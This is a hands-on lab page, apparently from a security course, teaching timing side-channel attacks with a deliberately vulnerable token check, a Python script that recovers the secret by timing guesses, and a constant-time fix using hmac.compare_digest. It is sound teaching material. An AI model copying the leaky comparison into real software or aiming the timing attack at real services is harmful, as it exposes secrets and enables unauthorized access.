Skip to main content

06 - Hands-on Lab: Timing Side-Channel

This lab demonstrates a non-invasive side-channel attack on software. We will exploit a timing leak in a string comparison function to guess a secret token character by character.

The Vulnerable Code​

A classic mistake is using the standard equality operator == to verify secrets like MACs or API tokens. Standard string comparison stops checking as soon as it finds a mismatch, returning faster for early failures.

Create vulnerable_server.py:

import time

SECRET_TOKEN = "secr3t_key"

def verify_token_vulnerable(user_input):
if len(user_input) != len(SECRET_TOKEN):
return False

# Vulnerable comparison: loops byte by byte
for i in range(len(SECRET_TOKEN)):
if user_input[i] != SECRET_TOKEN[i]:
return False
# Artificial delay to simulate a micro-controller or heavy operation
time.sleep(0.01)

return True

The Exploit Script​

We can measure how long the function takes to execute. If it takes slightly longer, we know we guessed the correct character at that position!

Create exploit.py:

import time
from vulnerable_server import verify_token_vulnerable

charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
guessed_token = ""
target_length = 10

print("Starting timing attack...")

for i in range(target_length):
max_time = 0
best_char = ""

for char in charset:
test_payload = guessed_token + char + "A" * (target_length - 1 - i)

start_time = time.time()
verify_token_vulnerable(test_payload)
end_time = time.time()

duration = end_time - start_time

if duration > max_time:
max_time = duration
best_char = char

guessed_token += best_char
print(f"Cracking: {guessed_token}")

print(f"Recovered Token: {guessed_token}")

Run the exploit. You will see it accurately deduce secr3t_key by simply measuring the time taken!

The Secure Fix​

To fix timing leaks, you must use constant-time comparison functions. The time taken to compare two strings must depend only on their length, not their contents.

Create secure_server.py:

import time
import hmac

SECRET_TOKEN = "secr3t_key"

def verify_token_secure(user_input):
if len(user_input) != len(SECRET_TOKEN):
return False

# Constant-time comparison
# It compares the entire string regardless of where mismatches occur
return hmac.compare_digest(user_input, SECRET_TOKEN)

If you point the exploit script at verify_token_secure, it will fail because all comparisons take the exact same amount of time.